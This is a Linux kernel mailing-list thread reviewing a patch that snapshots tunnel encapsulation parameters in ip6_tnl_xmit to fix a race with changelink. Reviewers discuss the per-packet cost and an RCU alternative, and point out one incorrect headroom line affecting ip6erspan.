> diff --git a/include/net/ip6_tunnel.h b/include/net/ip6_tunnel.h
> index b99805ee2fd1..6e76e50a4406 100644
> --- a/include/net/ip6_tunnel.h
> +++ b/include/net/ip6_tunnel.h
> @@ -106,22 +106,22 @@ static inline int ip6_encap_hlen(struct ip_tunnel_encap *e)
>  	return hlen;
>  }
>  
> -static inline int ip6_tnl_encap(struct sk_buff *skb, struct ip6_tnl *t,
> +static inline int ip6_tnl_encap(struct sk_buff *skb, struct ip_tunnel_encap *e,
>  				u8 *protocol, struct flowi6 *fl6)
>  {
>  	const struct ip6_tnl_encap_ops *ops;
>  	int ret = -EINVAL;
>  
> -	if (t->encap.type == TUNNEL_ENCAP_NONE)
> +	if (e->type == TUNNEL_ENCAP_NONE)
>  		return 0;
>  
> -	if (t->encap.type >= MAX_IPTUN_ENCAP_OPS)
> +	if (e->type >= MAX_IPTUN_ENCAP_OPS)
>  		return -EINVAL;
>  
>  	rcu_read_lock();
> -	ops = rcu_dereference(ip6tun_encaps[t->encap.type]);
> +	ops = rcu_dereference(ip6tun_encaps[e->type]);
>  	if (likely(ops && ops->build_header))
> -		ret = ops->build_header(skb, &t->encap, protocol, fl6);
> +		ret = ops->build_header(skb, e, protocol, fl6);
>  	rcu_read_unlock();
>  
>  	return ret;
> diff --git a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c
> index ebf83f090376..d47757e8a388 100644
> --- a/net/ipv6/ip6_tunnel.c
> +++ b/net/ipv6/ip6_tunnel.c
> @@ -1102,6 +1102,7 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
>  		 __u8 proto)
>  {
>  	struct ip6_tnl *t = netdev_priv(dev);
> +	struct ip_tunnel_encap ipencap;
>  	struct net *net = t->net;
>  	struct ipv6hdr *ipv6h;
>  	struct ipv6_tel_txoption opt;
> @@ -1109,10 +1110,11 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
>  	struct net_device *tdev;
>  	int err_count, mtu;
>  	unsigned int eth_hlen = t->dev->type == ARPHRD_ETHER ? ETH_HLEN : 0;
> -	unsigned int psh_hlen = sizeof(struct ipv6hdr) + t->encap_hlen;
> -	unsigned int max_headroom = psh_hlen;
> +	unsigned int max_headroom;
>  	__be16 payload_protocol;
>  	bool use_cache = false;
> +	unsigned int psh_hlen;
> +	int encap_hlen;
>  	u8 hop_limit;
>  	int err = -1;
>  
> @@ -1202,6 +1204,15 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
>  				     t->parms.name);
>  		goto tx_err_dst_release;
>  	}
> +
> +	/* Can tear, but hlen and build_header() use the same snapshot. */
> +	ipencap = data_race(t->encap);
> +	encap_hlen = ip6_encap_hlen(&ipencap);
> +	if (unlikely(encap_hlen < 0))
> +		goto tx_err_dst_release;
> +	psh_hlen = sizeof(struct ipv6hdr) + encap_hlen;
> +	max_headroom = psh_hlen;
> +
>  	mtu = dst6_mtu(dst) - eth_hlen - psh_hlen - t->tun_hlen;
>  	if (encap_limit >= 0) {
>  		max_headroom += 8;
> @@ -1251,7 +1262,7 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
>  	}
>  
>  	if (t->parms.collect_md) {
> -		if (t->encap.type != TUNNEL_ENCAP_NONE)
> +		if (ipencap.type != TUNNEL_ENCAP_NONE)
>  			goto tx_err_dst_release;
>  	} else {
>  		if (use_cache && ndst)
> @@ -1272,10 +1283,10 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
>  	 * needed_headroom if necessary.
>  	 */
>  	max_headroom = LL_RESERVED_SPACE(tdev) + sizeof(struct ipv6hdr)
> -			+ dst->header_len + t->hlen;
> +			+ dst->header_len + t->tun_hlen + encap_hlen;
>  	ip_tunnel_adj_headroom(dev, max_headroom);
>  
> -	err = ip6_tnl_encap(skb, t, &proto, fl6);
> +	err = ip6_tnl_encap(skb, &ipencap, &proto, fl6);
>  	if (err)
>  		return err;
>  
> -- 
> 2.34.1

Re: [PATCH net v2 1/1] ip6_tunnel: snapshot encap in xmit

[Ido Schimmel]

On Sat, Aug 08, 2026 at 07:38:52PM +0000, Kuniyuki Iwashima wrote:
> From: Ren Wei <weir@nebusec.ai>
> Date: Sat,  8 Aug 2026 16:40:49 +0800
> > From: Zixuan Chai <petalzu987@gmail.com>
> > 
> > ip6_tnl_changelink() can update encapsulation parameters while the
> > netdevice is transmitting packets. ip6_tnl_xmit() can calculate packet
> > headroom with t->encap_hlen and later build an encapsulation header from
> > the live t->encap. A concurrent update can change the encapsulation
> > header between these accesses and make skb_push() underflow the skb head.
> > 
> > Take a local snapshot of t->encap before calculating the encapsulation
> > header length.
> 
> This intorduce per-skb cost in the fast path for unlikely changelink.

Assuming the common case where the tunnel doesn't use fou / gue
encapsulation, the added cost is one compare and a copy of 8 bytes.

> 
> Right approach is to convert it to RCU pointer (and remove
> synchronize_net() there).
> 
> 0ba269933f73 geneve: convert config to RCU-protected pointer
> 777434f53e77 geneve: pass geneve_config pointer to helper functions

It's on my TODO list since last week, but I don't have the time to work
on it right now. It's a very large change (see the geneve change) that
is needed across all the IP tunnels, not something that I consider
suitable for net.

What are you proposing for net?

Re: [PATCH net v2 1/1] ip6_tunnel: snapshot encap in xmit

[Ido Schimmel]

On Sat, Aug 08, 2026 at 04:40:49PM +0800, Ren Wei wrote:
> @@ -1202,6 +1204,15 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
>  				     t->parms.name);
>  		goto tx_err_dst_release;
>  	}
> +
> +	/* Can tear, but hlen and build_header() use the same snapshot. */
> +	ipencap = data_race(t->encap);
> +	encap_hlen = ip6_encap_hlen(&ipencap);
> +	if (unlikely(encap_hlen < 0))
> +		goto tx_err_dst_release;
> +	psh_hlen = sizeof(struct ipv6hdr) + encap_hlen;
> +	max_headroom = psh_hlen;
> +
>  	mtu = dst6_mtu(dst) - eth_hlen - psh_hlen - t->tun_hlen;
>  	if (encap_limit >= 0) {
>  		max_headroom += 8;

[...]

> @@ -1272,10 +1283,10 @@ int ip6_tnl_xmit(struct sk_buff *skb, struct net_device *dev, __u8 dsfield,
>  	 * needed_headroom if necessary.
>  	 */
>  	max_headroom = LL_RESERVED_SPACE(tdev) + sizeof(struct ipv6hdr)
> -			+ dst->header_len + t->hlen;
> +			+ dst->header_len + t->tun_hlen + encap_hlen;

Sashiko is correct that 'hlen = tun_hlen + encap_hlen' doesn't hold for
ip6erspan which accounts for the ERSPAN header length separately (not
part of tun_hlen).

There is no need to touch this line since it's irrelevant to the fix.
The needed headroom was already calculated correctly earlier
('psh_hlen') and guaranteed to be available in the skb by
skb_realloc_headroom(), when needed.

>  	ip_tunnel_adj_headroom(dev, max_headroom);
>  
> -	err = ip6_tnl_encap(skb, t, &proto, fl6);
> +	err = ip6_tnl_encap(skb, &ipencap, &proto, fl6);
>  	if (err)
>  		return err;
>  
> -- 
> 2.34.1